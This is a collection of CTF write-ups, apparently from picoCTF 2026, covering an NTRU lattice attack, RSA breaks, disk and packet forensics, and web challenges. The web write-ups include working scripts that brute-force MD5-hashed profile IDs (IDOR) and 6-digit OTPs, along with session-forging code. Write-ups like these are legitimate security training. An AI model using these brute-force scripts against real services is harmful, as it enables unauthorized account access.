Category: Crypto · Points: 200 · CTF: picoCTF 2026

The challenge title is a pun: Not TRUe = NTRU, the lattice-based public-key cryptosystem. We are given the NTRU public key h, six ciphertexts ct, and the system parameters N=48, p=3, q=509.

Analysis

NTRU key generation works as follows:

1. Pick two small ternary polynomials f, g with coefficients in {-1, 0, 1} in the ring R = Z[x]/(x^N - 1).
2. Compute the public key h = p · g · f⁻¹ (mod q).

Encryption of a binary message polynomial m with a random ternary blinding polynomial r:

c = r * h + m  (mod q)

Decryption recovers m via:

a = f * c  (mod q)   [center-lifted to (-q/2, q/2)]
m = f_p⁻¹ * a  (mod p)

The security of NTRU rests on the hardness of finding the short vector (f, g) from h. With N = 48, this instance is very small — making it directly vulnerable to the classic NTRU lattice attack via LLL reduction.

The ratio δ = N / log₂(q) ≈ 48 / 9 ≈ 5.3 is far below the threshold at which LLL starts to struggle, so the attack is trivial.

The Attack

Step 1 — Build the NTRU Lattice

Construct the 2N × 2N matrix:

M = [ I   H ]
    [ 0  qI ]

where H is the circulant matrix of h (each row is a cyclic shift of the previous), and I is the N×N identity matrix.

Any vector of the form (f, g) satisfies f·H ≡ g (mod q), so (f, g) lies in the row space of M. Because f and g have small ternary coefficients, (f, g) is an unusually short lattice vector — exactly the kind LLL is designed to find.

def circulant(h):
    return [h[-i:] + h[:-i] for i in range(N)]

H = circulant(h_list)

M = [[0]*(2*N) for _ in range(2*N)]
for i in range(N):   M[i][i]     = 1        # top-left: I
for i in range(N):
    for j in range(N): M[i][j+N] = H[i][j]  # top-right: H
for i in range(N):   M[i+N][i+N] = q        # bottom-right: qI

Step 2 — LLL Reduction

Run LLL on M using fpylll:

from fpylll import IntegerMatrix, LLL

A = IntegerMatrix(2*N, 2*N)
# ... populate A from M ...
LLL.reduction(A)

After reduction, the short rows of the basis are candidates for (f, g).

Step 3 — Extracting (f, g)

A subtle but important observation: the recovered vector has g-coefficients that are multiples of 3 (i.e. p). This happens because LLL found (f, p·g) rather than (f, g) directly — a known artifact when the lattice has multiple equally short vectors. Dividing through by p gives the true g:

for row in reduced_basis:
    f_cand = row[:N]
    g_cand = row[N:]
    if all(x % 3 == 0 for x in g_cand) and not all(x == 0 for x in g_cand):
        g_real = [x // 3 for x in g_cand]
        # Verify: f * h ≡ p*g (mod q)
        if poly_mul_mod(f_cand, h_list, q, N) == [p*x % q for x in g_real]:
            f, g = f_cand, g_real
            break

Step 4 — Decrypt

With f recovered, decrypt each ciphertext:

def decrypt(c, f, f_p_inv):
    a = poly_mul_mod(f, c, q, N)
    a = center_lift(a, q)           # map to (-q/2, q/2)
    a_modp = [x % p for x in a]
    return poly_mul_mod(f_p_inv, a_modp, p, N)

Each of the 6 ciphertexts decrypts to a 48-element binary polynomial (coefficients in {0, 1}). Concatenating all 6 × 48 = 288 bits and decoding as 8-bit ASCII gives the flag.

Full Solve Script

from fpylll import IntegerMatrix, LLL

N = 48
p = 3
q = 509

h_list = [311, 273, 153, 392, 105, 426, 45, 159, 421, 30, 404, 38, 313, 480, 37, 195,
          82, 382, 236, 230, 340, 66, 199, 121, 279, 273, 271, 22, 270, 227, 26, 253,
          213, 408, 323, 263, 283, 168, 88, 164, 383, 247, 5, 313, 150, 170, 89, 235]

ct = [
    [231, 6, 348, 205, 488, 156, 57, 466, 295, 240, 87, 285, 165, 208, 343, 426,
     410, 36, 190, 110, 187, 28, 237, 262, 508, 111, 451, 311, 128, 449, 476, 434,
     159, 98, 488, 399, 314, 499, 427, 325, 299, 250, 457, 8, 64, 423, 210, 271],
    [177, 217, 101, 452, 354, 388, 158, 437, 435, 484, 452, 0, 142, 47, 66, 229,
     131, 325, 423, 394, 337, 356, 8, 56, 197, 12, 456, 186, 430, 286, 68, 106,
     271, 257, 351, 76, 508, 383, 360, 318, 426, 113, 84, 451, 436, 206, 63, 151],
    [212, 400, 162, 356, 300, 494, 60, 333, 230, 477, 484, 174, 26, 65, 175, 107,
     158, 496, 168, 318, 350, 497, 261, 281, 388, 193, 16, 294, 180, 390, 116, 252,
     169, 411, 69, 257, 496, 302, 86, 320, 405, 436, 156, 462, 219, 486, 349, 494],
    [275, 256, 300, 153, 467, 412, 380, 353, 435, 232, 450, 490, 136, 136, 86, 326,
     93, 19, 208, 89, 474, 163, 70, 30, 56, 261, 145, 499, 49, 403, 331, 315, 49,
     472, 66, 156, 26, 481, 412, 258, 503, 44, 275, 222, 164, 356, 212, 57],
    [354, 310, 412, 400, 67, 433, 363, 209, 80, 244, 473, 239, 409, 446, 356, 193,
     191, 15, 443, 79, 371, 63, 444, 285, 316, 488, 176, 44, 393, 401, 504, 106,
     111, 5, 491, 208, 279, 403, 83, 226, 271, 244, 358, 473, 436, 208, 457, 81],
    [246, 291, 361, 460, 247, 229, 400, 3, 38, 189, 460, 347, 384, 327, 246, 33,
     7, 141, 135, 182, 496, 160, 259, 424, 496, 137, 28, 6, 169, 97, 251, 269,
     316, 68, 360, 426, 22, 150, 498, 398, 270, 130, 447, 36, 500, 32, 48, 114],
]

# --- Polynomial arithmetic mod (x^N - 1) ---

def poly_mul_mod(a, b, mod, N):
    result = [0] * N
    for i in range(N):
        if a[i] == 0: continue
        for j in range(N):
            result[(i+j) % N] = (result[(i+j) % N] + a[i]*b[j]) % mod
    return result

def poly_inv_mod(f, mod, N):
    """Invert f in Z_mod[x]/(x^N - 1) via extended Euclidean algorithm."""
    def deg(p):
        d = len(p) - 1
        while d > 0 and p[d] == 0: d -= 1
        return d
    def divmod_poly(a, b, m):
        a, b = list(a), list(b)
        da, db = deg(a), deg(b)
        if da < db: return [0], a
        q = [0] * (da - db + 1)
        bi = pow(int(b[db]), -1, m)
        for i in range(da - db, -1, -1):
            if a[i+db] == 0: continue
            c = a[i+db] * bi % m
            q[i] = c
            for j in range(db+1): a[i+j] = (a[i+j] - c*b[j]) % m
        return q, a
    def mul_poly(a, b, m):
        r = [0] * (deg(a) + deg(b) + 1)
        for i in range(deg(a)+1):
            for j in range(deg(b)+1): r[i+j] = (r[i+j] + a[i]*b[j]) % m
        return r
    def sub_poly(a, b, m, L):
        r = [0]*L
        for i in range(min(len(a),L)): r[i] = a[i] % m
        for i in range(min(len(b),L)): r[i] = (r[i] - b[i]) % m
        return r

    mpoly = [(-1) % mod] + [0]*(N-1) + [1]
    fp = [int(c) % mod for c in f] + [0]
    old_r, r = fp[:], mpoly[:]
    old_s, s = [1]+[0]*(N+1), [0]*(N+2)
    for _ in range(500):
        if all(c == 0 for c in r): break
        if deg(old_r) == 0: break
        qp, nr = divmod_poly(old_r, r, mod)
        ns = sub_poly(old_s, mul_poly(qp, s, mod), mod, N+2)
        old_r, r = r, nr
        old_s, s = s, ns
    if deg(old_r) != 0 or old_r[0] == 0: return None
    gi = pow(int(old_r[0]), -1, mod)
    inv = [(c*gi) % mod for c in old_s[:N]]
    # verify
    if poly_mul_mod(f[:N], inv, mod, N)[0] != 1: return None
    return inv

def center_lift(coeffs, q):
    return [c if c <= q//2 else c - q for c in [x % q for x in coeffs]]

def decrypt(c, f, fp_inv):
    a = center_lift(poly_mul_mod(f, c, q, N), q)
    return poly_mul_mod(fp_inv, [x % p for x in a], p, N)

# --- Build and reduce the NTRU lattice ---

def circulant(h):
    return [h[-i:] + h[:-i] for i in range(N)]

H = circulant(h_list)
A = IntegerMatrix(2*N, 2*N)
for i in range(N): A[i, i] = 1
for i in range(N):
    for j in range(N): A[i, j+N] = H[i][j]
for i in range(N): A[i+N, i+N] = q

LLL.reduction(A)

# --- Extract (f, g): look for rows where g is divisible by p ---

f_key = None
for row_idx in range(2*N):
    row = [A[row_idx, j] for j in range(2*N)]
    f_cand, g_cand = row[:N], row[N:]
    if all(x == 0 for x in f_cand): continue
    if not all(abs(x) <= 3 for x in f_cand): continue
    if not all(x % 3 == 0 for x in g_cand): continue
    g_real = [x // 3 for x in g_cand]
    if all(x == 0 for x in g_real): continue
    if poly_mul_mod(f_cand, h_list, q, N) == [p*x % q for x in g_real]:
        f_key = f_cand
        break

# Compute f inverse mod p
f_modp = [x % p for x in f_key]
fp_inv = poly_inv_mod(f_modp, p, N)

# --- Decrypt and decode ---

bits = []
for c in ct:
    bits.extend(decrypt(c, f_key, fp_inv))

flag = ''.join(
    chr(int(''.join(str(b) for b in bits[i:i+8]), 2))
    for i in range(0, len(bits), 8)
    if len(bits[i:i+8]) == 8
)
print("[+] FLAG:", flag)

Output

[+] FLAG: picoCTF{th4ts_s0_N0t_TRU3_38a83032}

Key Takeaways

Why the attack works at N=48: The Gaussian heuristic predicts the shortest vector in this lattice has norm ≈ √(2N) · q^(1/2) ≈ √96 · 22.6 ≈ 222. The real (f, g) has norm √(‖f‖² + ‖g‖²) ≈ √(2 · N · 0.5) ≈ √48 ≈ 7 (for ternary polynomials of weight ~N/3). This is dramatically shorter than the Gaussian heuristic — LLL finds it immediately.

The p·g artifact: LLL returned g-coefficients that were multiples of 3. This is because the circulant structure of the lattice introduces short linear combinations of (f, g) and p-multiples thereof. Always verify the candidate using f·h ≡ p·g (mod q) rather than just checking coefficient magnitudes.

Secure NTRU parameters require N in the range of 509–1277, not 48. At N=48, this is a toy instance.

Flag

picoCTF{th4ts_s0_N0t_TRU3_38a83032}

Category: Forensics · Points: 100 · CTF: picoCTF 2026

We are given a long string of binary digits and need to extract the flag from it.

Analysis

The file contains a raw binary string — a long sequence of 0s and 1s. The key insight is that every 8 bits maps to one byte, meaning the whole string is just binary-encoded file data.

Approach

Convert the binary string to bytes, write it out, and check what kind of file it is:

import sys

input_file = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) > 2 else "output.bin"

with open(input_file, 'r') as f:
    bits = f.read().strip().replace('\n', '').replace(' ', '')

data = bytearray(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))

with open(output_file, 'wb') as f:
    f.write(data)

print(f"Done: {len(data)} bytes written to {output_file}")

Running this produces a .jpg image file. Opening it reveals the flag printed in the image.

Key Takeaway

Binary encoding isn’t encryption — it’s trivial to reverse. Any file can be represented as a binary string and decoded back in one line. Always check file headers (file output.bin) to identify the format before assuming it’s plain text.

Flag

picoCTF{h1dd3n_1n_th3_b1n4ry_2f96e9a1}

Category: Crypto · Points: 400 · CTF: picoCTF 2026

Analysis

We’re given a large n and ciphertext c. The key observation is that n is a product of four primes rather than the usual two — making it weaker since each prime is smaller and factorisable.

Approach

Step 1 — Factorise n

Since n is very large but composed of four smaller primes, paste it into factordb.com. It returns:

n = p1 · p2 · p3 · p4

p1 = 9671406556917033397931773
p2 = 9671406556917033398314601
p3 = 9671406556917033398439721
p4 = 9671406556917033398454847

Step 2 — Compute φ(n)

For multi-prime RSA with factors p1, p2, p3, p4:

φ(n) = (p1 - 1)(p2 - 1)(p3 - 1)(p4 - 1)

Step 3 — Recover d and decrypt

from Crypto.Util.number import long_to_bytes

p1 = 9671406556917033397931773
p2 = 9671406556917033398314601
p3 = 9671406556917033398439721
p4 = 9671406556917033398454847

n = p1 * p2 * p3 * p4
e = 65537  # standard public exponent
c = # paste c here

phi = (p1-1) * (p2-1) * (p3-1) * (p4-1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

Key Takeaway

Multi-prime RSA (more than 2 factors) makes individual primes smaller and easier to find in factorisation databases. Standard RSA should use exactly two large, independently generated primes.

Flag

picoCTF{mul71_rsa_c5d0a11c}

Category: Forensics · Points: 300 · CTF: picoCTF 2026

The challenge gives a .gz file containing a disk image with multiple partitions.

Analysis

Decompress the image first:

gunzip diskimage.gz

Running fdisk -l diskimage reveals three partitions — two Linux partitions (disk.img1 at 300M and disk.img3 at 467M) and a swap partition. Standard mounting failed because the image contains partitions rather than a raw filesystem, so we used 7-Zip to extract the individual partition files.

Approach

Step 1 — Mount the first partition

mkdir /tmp/disk
sudo mount -o loop 0.img /tmp/disk

Search for any .git directories:

sudo find /tmp/disk -name ".git" -type d 2>/dev/null

Nothing found, so move to the next partition.

Step 2 — Mount the larger partition

mkdir /tmp/disk
sudo mount -o loop 3.img /tmp/disk
sudo find /tmp/disk -name ".git" -type d 2>/dev/null

This revealed a repo at /tmp/disk/home/ctf-player/Code/secrets.git.

Step 3 — Search Git history for the flag

Git never truly deletes committed data — even after a file is removed, it stays in the object store. We searched all commit history:

cd /tmp/disk/home/ctf-player/Code/secrets.git
git log --all -p | grep "picoCTF{"

The flag was buried in an old commit.

Key Takeaway

Even after git rm, data persists in the object store. Always scrub sensitive commits with git filter-branch or git filter-repo before pushing to a public repo.

Flag

picoCTF{g17_r3m3mb3r5_d4ddf904}

Category: Web · Points: 100 · CTF: picoCTF 2026

We’re given a login page at crystal-peak.picoctf.net.

Analysis

Step 1 — Inspect the page source

Opening DevTools immediately reveals a comment in the HTML:

<!-- Email: guest@picoctf.org Password: guest -->

Logging in with those credentials works and lands us on a user profile page. The URL looks like:

/profile/user/53a1320cb5d2f56130ad5222f93da374

That long hex string is an MD5 hash. The question is — what’s being hashed?

Step 2 — Identify the hash input

MD5 of a predictable value is a classic mistake. Given this is a CTF with sequential users, the most likely input is a numeric user ID. The guest hash 53a1320cb5d2f56130ad5222f93da374 can be cracked or we can just brute force nearby IDs to find admin.

Approach

Brute force a range of numeric IDs, hash each one with MD5, and try accessing the profile URL:

import requests
import hashlib

base = "http://crystal-peak.picoctf.net:60927/profile/user/"

for i in range(2981, 3021):
    h = hashlib.md5(str(i).encode()).hexdigest()
    r = requests.get(base + h)
    if r.status_code == 200:
        print(f"ID {i} → {h} ✓")
        print(r.text)
        break

One of the IDs in that range resolves to the admin profile, which prints:

Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_c642ae68}

This is an IDOR (Insecure Direct Object Reference) — the profile endpoint has no authorisation check, so any user can access any profile just by knowing (or guessing) the hash.

Key Takeaway

Two vulnerabilities combined here: credentials leaked in an HTML comment, and profile URLs using MD5 of a sequential integer — trivially brute forceable. Profile endpoints must check that the authenticated user owns the requested resource, not just that the hash is valid.

Flag

picoCTF{id0r_unl0ck_c642ae68}

Category: General Skills · Points: 200 · CTF: picoCTF 2026

We’re given a single encoded string and told it has gone through multiple layers of encoding. No hints on which ones or in what order.

Analysis

The string looks like Base64 at first glance — but decoding it once doesn’t give plaintext. It’s clearly nested. Rather than guessing the order manually, throwing it into CyberChef’s Magic operation lets it auto-detect the encoding stack.

Magic identified the sequence as:

1. From Base64
2. From Hex
3. URL Decode
4. ROT13

Approach

Replicate the chain in CyberChef with these operations in order:

Pasting the input string and running the chain outputs the flag directly.

Key Takeaway

When a challenge says “multiple encodings” with no further hints, CyberChef’s Magic operation is the fastest way to fingerprint the stack. Each encoding layer on its own is trivially reversible — the only challenge is identifying the correct order.

Flag

picoCTF{nested_enc0ding_66b54257}

Category: Web · Points: 200 · CTF: picoCTF 2026

Analysis

Reviewing the source code reveals two vulnerabilities:

1. Unsalted password hashes — passwords are hashed without a salt, making them crackable with rainbow tables or hashcat
2. No rate limiter on OTP — the two-factor authentication endpoint accepts unlimited guesses, enabling brute force

Approach

Step 1 — Find a target account

Browse the database for a high-value account. The admin account has 2FA enabled — a good target.

Step 2 — Crack the password hash

The admin’s hash cracks to apple@123. Log in with:

• Username: admin
• Password: apple@123

This lands on the 2FA page.

Step 3 — Brute force the OTP

Since there’s no rate limiter, use the browser console to automate OTP guesses:

for (let i = 0; i <= 999999; i++) {
    let otp = String(i).padStart(6, '0');
    let resp = await fetch('/verify-otp', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({otp: otp})
    });
    let data = await resp.json();
    if (data.success) {
        console.log('OTP found:', otp);
        break;
    }
}

The correct OTP is found and the flag is returned.

Key Takeaway

Always salt password hashes (use bcrypt, argon2, or scrypt). Always rate-limit OTP endpoints — a 6-digit OTP has only 1,000,000 possible values and can be brute forced in minutes without throttling.

Flag

picoCTF{n0_r4t3_n0_4uth_7bd3c284}

Category: Web · Points: 100 · CTF: picoCTF 2026

URL: http://dolphin-cove.picoctf.net:52077/sessions

We are given a sessions endpoint and an example session:

session:VccD5CnHjooYuqCNfiWBvI-kybC0pays_8QFBWE3wjs
{'_permanent': True, 'key': 'admin'}

Analysis

The session data suggests:

• The application uses client-side session storage
• The session contains _permanent: True and key: admin
• This is a strong indicator the session is encoded (likely Base64) and not securely signed

If the server trusts this session value directly, we can forge our own session.

Approach

Goal: Modify the session so that key = admin

1. Inspect how the session is stored (cookie or URL)
2. Decode the session value
3. Modify the JSON data
4. Re-encode it
5. Send it back to the server

Exploit

If the session is Base64 encoded:

import base64

data = b"{'_permanent': True, 'key': 'admin'}"
encoded = base64.b64encode(data)
print(encoded)

Swap the session cookie with the forged value and reload the page.

Flag

picoCTF{s3t_s3ss10n_3xp1rat10n5_53a328ed}

Category: Crypto · Points: 200 · CTF: picoCTF 2026

The sender encrypted a message, made a typo, and re-encrypted the corrected version under the same RSA key. We are given both ciphertexts.

Analysis

The typo was z (0x7a) instead of } (0x7d), a difference of exactly 3. This means:

m1 = m2 - 3

Both plaintexts were encrypted under the same key, leaking a linear relationship — the perfect setup for a Franklin-Reiter attack.

The Attack

Franklin-Reiter’s related message attack exploits the fact that if two plaintexts satisfy a known linear relation, both are roots of polynomials that share a common factor:

f1(x) = x^e - c1
f2(x) = (x + 3)^e - c2

Both share the root m1, so:

gcd(f1, f2)  over ℤ_N[x]  →  (x - m1)

This directly reveals the plaintext — no factoring of N required.

from sage.all import *

# Given values
N = # paste N here
e = # paste e here
c1 = # paste c1 here
c2 = # paste c2 here

P.<x> = PolynomialRing(Zmod(N))
f1 = x^e - c1
f2 = (x + 3)^e - c2

# GCD gives (x - m1)
g = gcd(f1, f2)
m1 = -g.monic()[0]
print(long_to_bytes(int(m1)))

Key Takeaway

Never reuse an RSA key to encrypt related messages. Even a 3-byte difference is enough to completely break the encryption with Franklin-Reiter. Use hybrid encryption (RSA + AES) or randomised padding (OAEP) instead.

Flag

picoCTF{m3ssage_w1th_typ0}

Category: Forensics · Points: 300 · CTF: picoCTF 2026

Analysis

Filtering for HTTP traffic in the capture, there are GET requests from several IP addresses. Inspecting each one reveals which belongs to the rogue tower:

• 10.100.156.251 → IMSI: 310410316992912, CELL: 15606 — legitimate
• 10.100.50.122 → IMSI: 310410308555787, CELL: 92058 — unauthorised tower

Approach

Step 1 — Isolate rogue tower traffic

Filter to just the rogue tower’s POST requests and compile the data it sent. This gives us the following Base64-looking string:

QFFWWnZjfkxCCFJABmhbBFxUakEFQAtFb1xXVgEHAAQBRQ==

Step 2 — Identify the encryption

The string is clearly encoded. Hint 3 states: “The encryption key is derived from the victim device’s IMSI.”

This narrows the brute force significantly — we try XOR with different substrings of the IMSI 310410308555787 against the ciphertext.

Step 3 — Brute force the XOR key

import base64
import itertools

ciphertext = base64.b64decode("QFFWWnZjfkxCCFJABmhbBFxUakEFQAtFb1xXVgEHAAQBRQ==")
imsi = "310410308555787"

for length in range(1, len(imsi) + 1):
    for start in range(len(imsi) - length + 1):
        key = imsi[start:start + length].encode()
        pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(ciphertext))
        if b'picoCTF' in pt:
            print(f"Key: {key} → {pt}")

The correct substring of the IMSI XOR-decrypts the ciphertext to reveal the flag.

Key Takeaway

Rogue cell towers (IMSI catchers / Stingrays) capture device identifiers and can intercept traffic. XOR encryption with a predictable key (like a device’s own IMSI) provides essentially no security.

Flag

picoCTF{r0gu3_c3ll_t0w3r_dbc40831}